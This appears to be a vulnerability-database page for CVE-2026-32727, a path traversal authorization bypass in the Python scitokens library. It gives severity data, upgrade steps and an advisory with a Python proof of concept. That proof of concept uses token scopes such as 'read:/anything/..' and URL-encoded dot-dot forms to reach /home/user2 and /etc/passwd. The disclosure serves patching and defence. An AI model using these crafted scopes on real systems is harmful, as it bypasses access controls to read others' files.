Vulnerabilities in pkg:pypi/scitokens

PACKAGE
Advisory Identifier: GHSA-3x2w-63fp-3qvw
Advisory Summary

CVE-2026-32727 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Scitokens libraries in the PyPI ecosystem. The issue involves scitokens has an authorization bypass via path traversal in scope validation. Remediation is available by upgrading affected packages to version 1.9.7.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/scitokens

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/scitokens. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-3x2w-63fp-3qvw CVE-2026-32727 HIGH SciTokens has an Authorization Bypass via Path Traversal in Scope Validation
GHSA-w8fp-g9rh-34jh CVE-2026-32716 HIGH SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking
GHSA-rh5m-2482-966c CVE-2026-32714 CRITICAL SciTokens is vulnerable to SQL Injection in KeyCache

CVE-2026-32727 at a Glance

CVE Identifier CVE-2026-32727
GHSA Identifier GHSA-3x2w-63fp-3qvw
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Scitokens
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-32727

To remediate this vulnerability, upgrade all affected Scitokens dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

scitokens fixed: 1.9.7
pip install scitokens>=1.9.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show scitokens

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-32727, inspect your installed packages using pip:

pip show scitokens

Analyze the terminal output to locate any version of Scitokens in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.7), your application is affected.

Note: The pip show scitokens command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Scitokens, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `Enforcer` is vulnerable to a path traversal attack where an attacker can use dot-dot (`..`) in the `scope` claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using `startswith`. ### Details **File:** `src/scitokens/scitokens.py` **Methods:** `_check_scope`, `_scope_path_matches` **File:** `src/scitokens/urltools.py` **Method:** `normalize_path` ## Description When a token is verified, the `Enforcer` extracts the authorized path from the `scope` or `scp` claim. This path is passed through `urltools.normalize_path`, which uses `posixpath.normpath` to resolve relative segments. If a token has a scope like `read:/home/user1/..`, the normalization process converts this to `/home`. When the enforcer checks if a request for `/home/user2` is authorized, it compares it against the normalized path `/home`. ### Vulnerable Logic Flow: 1. **Normalization:** In `_check_scope`, the path `/home/user1/..` is normalized to `/home`. 2. **Comparison:** In `_scope_path_matches`, the requested path `/home/user2` is checked against the allowed path `/home`: ```python return requested_path.startswith(allowed_path + '/') # "/home/user2".startswith("/home/") is True ``` ### Bypassing with URL Encoding: Since `normalize_path` unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., `%2e%2e`) to hide the traversal from simple string filters that don't account for encoding. ### Root Traversal: A scope like `read:/anything/..` normalizes to `read:/`, which grants access to the entire file system (or whatever resource space the enforcer is guarding). ## Impact An attacker who can influence the `scope` claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization. ## Proof of Concept The following examples demonstrate the bypass (see `poc_path_traversal.py` for a full reproduction): - **Scope:** `read:/home/user1/..` -> **Access Granted to:** `/home/user2` - **Scope:** `read:/anything/..` -> **Access Granted to:** `/etc/passwd` - **Scope:** `read:/foo/%2e%2e/bar` -> **Access Granted to:** `/bar` ``` import scitokens import os import sys # Ensure we can import from src if os.path.exists("src"): sys.path.append("src") def test_path_traversal_bypass(): print("--- Proof of Concept: Path Traversal in Scope Validation ---") issuer = "https://scitokens.org" enforcer = scitokens.Enforcer(issuer) # Imagine an application that expects to restrict a user to their own directory: /home/user1 # The application validates that the token has 'read' access to /home/user1 # MALICIOUS TOKEN # An attacker provides a token with a scope that uses '..' to traverse up. # 'read:/home/user1/..' effectively resolves to 'read:/home' token = scitokens.SciToken() token['iss'] = issuer token['scope'] = "read:/home/user1/.." # VICTIM PATH # The attacker tries to access a sibling directory (another user's data) requested_path = "/home/user2" print(f"Token scope: {token['scope']}") print(f"Requested path: {requested_path}") # Internal normalization in Scitokens 1.9.6: # urltools.normalize_path("/home/user1/..") -> "/home" # urltools.normalize_path("/home/user2") -> "/home/user2" # Since "/home/user2".startswith("/home") is True, access is granted. print("\nTesting authorization...") is_authorized = enforcer.test(token, "read", requested_path) print(f"Is authorized: {is_authorized}") if is_authorized: print("\n[VULNERABILITY CONFIRMED]") print(f"The Enforcer ALLOWED access to {requested_path}") print(f"even though the scope was nominally restricted to /home/user1/..") print("This bypasses the intended directory isolation.") else: print("\n[VULNERABILITY NOT REPRODUCED]") print("The Enforcer blocked the access attempt.") # Another example: Root traversal print("\n--- Example 2: Root Traversal ---") token['scope'] = "read:/anything/.." # Resolves to / requested_path = "/etc/passwd" # Or any sensitive path print(f"Token scope: {token['scope']}") print(f"Requested path: {requested_path}") is_authorized = enforcer.test(token, "read", requested_path) print(f"Is authorized: {is_authorized}") if is_authorized: print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!") if __name__ == "__main__": test_path_traversal_bypass() ``` ## Recommended Fix Validate that the path in the scope does not contain `..` components **after unquoting** but **before normalization**. Additionally, ensure that any validation errors raised during this process are subclasses of `ValidationFailure` so they are correctly handled by the `Enforcer.test` method.

CVE-2026-32727 Affected Scitokens Versions

1 component(s)
Fixed Versions:
1.9.7
Product / Package Ecosystem Affected Versions Fixed Version
scitokens
PyPI
< 1.9.7
1.9.7

References

Frequently Asked Questions

What is CVE-2026-32727?
CVE-2026-32727 is a security vulnerability in Scitokens involving SciTokens has an Authorization Bypass via Path Traversal in Scope Validation under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Scitokens versions are affected?
Affected versions include releases prior to 1.9.7 across affected packages: scitokens.
What version fixes CVE-2026-32727?
Upgrading to 1.9.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is scitokens affected?
Yes, scitokens is affected in releases prior to 1.9.7. Upgrade your dependency to 1.9.7 or later.
What is the CVSS score of CVE-2026-32727?
CVE-2026-32727 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-32727?
CVE-2026-32727 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-32727?
Run the dependency tree command: 'pip show scitokens'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3x2w-63fp-3qvw",
  "modified" : "2026-03-31T22:51:36Z",
  "published" : "2026-03-31T22:51:36Z",
  "aliases" : [ "CVE-2026-32727" ],
  "summary" : "SciTokens has an Authorization Bypass via Path Traversal in Scope Validation",
  "details" : "### Summary\nThe `Enforcer` is vulnerable to a path traversal attack where an attacker can use dot-dot (`..`) in the `scope` claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using `startswith`.\n\n### Details\n**File:** `src/scitokens/scitokens.py`  \n**Methods:** `_check_scope`, `_scope_path_matches`  \n**File:** `src/scitokens/urltools.py`  \n**Method:** `normalize_path`\n\n## Description\nWhen a token is verified, the `Enforcer` extracts the authorized path from the `scope` or `scp` claim. This path is passed through `urltools.normalize_path`, which uses `posixpath.normpath` to resolve relative segments.\n\nIf a token has a scope like `read:/home/user1/..`, the normalization process converts this to `/home`. When the enforcer checks if a request for `/home/user2` is authorized, it compares it against the normalized path `/home`.\n\n### Vulnerable Logic Flow:\n\n1.  **Normalization:** In `_check_scope`, the path `/home/user1/..` is normalized to `/home`.\n2.  **Comparison:** In `_scope_path_matches`, the requested path `/home/user2` is checked against the allowed path `/home`:\n    ```python\n    return requested_path.startswith(allowed_path + '/')\n    # \"/home/user2\".startswith(\"/home/\") is True\n    ```\n\n### Bypassing with URL Encoding:\nSince `normalize_path` unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., `%2e%2e`) to hide the traversal from simple string filters that don't account for encoding.\n\n### Root Traversal:\nA scope like `read:/anything/..` normalizes to `read:/`, which grants access to the entire file system (or whatever resource space the enforcer is guarding).\n\n## Impact\nAn attacker who can influence the `scope` claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.\n\n## Proof of Concept\nThe following examples demonstrate the bypass (see `poc_path_traversal.py` for a full reproduction):\n\n- **Scope:** `read:/home/user1/..` -> **Access Granted to:** `/home/user2`\n- **Scope:** `read:/anything/..` -> **Access Granted to:** `/etc/passwd`\n- **Scope:** `read:/foo/%2e%2e/bar` -> **Access Granted to:** `/bar`\n```\n\n\nimport scitokens\nimport os\nimport sys\n\n# Ensure we can import from src\nif os.path.exists(\"src\"):\n    sys.path.append(\"src\")\n\ndef test_path_traversal_bypass():\n    print(\"--- Proof of Concept: Path Traversal in Scope Validation ---\")\n    \n    issuer = \"https://scitokens.org\"\n    enforcer = scitokens.Enforcer(issuer)\n    \n    # Imagine an application that expects to restrict a user to their own directory: /home/user1\n    # The application validates that the token has 'read' access to /home/user1\n    \n    # MALICIOUS TOKEN\n    # An attacker provides a token with a scope that uses '..' to traverse up.\n    # 'read:/home/user1/..' effectively resolves to 'read:/home'\n    token = scitokens.SciToken()\n    token['iss'] = issuer\n    token['scope'] = \"read:/home/user1/..\"\n    \n    # VICTIM PATH\n    # The attacker tries to access a sibling directory (another user's data)\n    requested_path = \"/home/user2\"\n    \n    print(f\"Token scope: {token['scope']}\")\n    print(f\"Requested path: {requested_path}\")\n    \n    # Internal normalization in Scitokens 1.9.6:\n    # urltools.normalize_path(\"/home/user1/..\") -> \"/home\"\n    # urltools.normalize_path(\"/home/user2\") -> \"/home/user2\"\n    # Since \"/home/user2\".startswith(\"/home\") is True, access is granted.\n    \n    print(\"\\nTesting authorization...\")\n    is_authorized = enforcer.test(token, \"read\", requested_path)\n    \n    print(f\"Is authorized: {is_authorized}\")\n    \n    if is_authorized:\n        print(\"\\n[VULNERABILITY CONFIRMED]\")\n        print(f\"The Enforcer ALLOWED access to {requested_path}\")\n        print(f\"even though the scope was nominally restricted to /home/user1/..\")\n        print(\"This bypasses the intended directory isolation.\")\n    else:\n        print(\"\\n[VULNERABILITY NOT REPRODUCED]\")\n        print(\"The Enforcer blocked the access attempt.\")\n\n    # Another example: Root traversal\n    print(\"\\n--- Example 2: Root Traversal ---\")\n    token['scope'] = \"read:/anything/..\" # Resolves to /\n    requested_path = \"/etc/passwd\" # Or any sensitive path\n    \n    print(f\"Token scope: {token['scope']}\")\n    print(f\"Requested path: {requested_path}\")\n    \n    is_authorized = enforcer.test(token, \"read\", requested_path)\n    print(f\"Is authorized: {is_authorized}\")\n    \n    if is_authorized:\n        print(\"[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!\")\n\nif __name__ == \"__main__\":\n    test_path_traversal_bypass()\n\n```\n\n\n## Recommended Fix\nValidate that the path in the scope does not contain `..` components **after unquoting** but **before normalization**. Additionally, ensure that any validation errors raised during this process are subclasses of `ValidationFailure` so they are correctly handled by the `Enforcer.test` method.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "scitokens"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/scitokens/scitokens/security/advisories/GHSA-3x2w-63fp-3qvw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32727"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/scitokens/scitokens/pull/230"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/scitokens/scitokens/commit/2d1cc9e42bc944fe0bbc429b85d166e7156d53f9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/scitokens/scitokens"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/scitokens/scitokens/releases/tag/v1.9.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T22:51:36Z",
    "nvd_published_at" : "2026-03-31T03:15:57Z"
  }
}